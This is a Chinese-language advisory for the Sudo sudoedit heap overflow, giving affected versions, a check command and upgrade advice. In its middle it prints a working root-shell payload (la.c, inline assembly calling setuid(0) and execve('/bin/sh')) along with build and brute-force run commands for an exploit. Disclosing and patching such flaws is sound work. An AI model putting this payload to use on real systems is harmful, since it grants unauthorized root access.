1月26日,Sudo发布了一份安全通知,修复了类似Unix的操作系统在命令参数中避免反斜杠时基于堆的缓冲区溢出漏洞。漏洞等级:高危,漏洞评分:7.0。当sudo在shell模式下通过-s或-i命令行选项运行命令时,它使用反斜杠来转义命令参数中的特殊字符。但是,当使用-s或-i标志运行sudodit时,实际上不会转义,这可能导致缓冲区溢出。只要sudoers文件(通常是/etc/sudoers)存在,攻击者就可以使用sudo来使用本地普通用户获得系统根权限。
受影响版本
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影响版本
sudo =>1.9.5p2
用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令。
若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以“ usage:”开头的错误响应。
#la.c
static void __attribute__((constructor)) _init(void) {
__asm __volatile__(
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// dup2(0, 1);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $1, %rsi;"
"syscall;"
// dup2(0, 2);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $2, %rsi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;");
}
执行:
gcc -fpic -shared -nostdlib -o X.so.2 la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done
1、下载升级sudo软件包
2、对于无法立即更新的用户,建议使用systemtap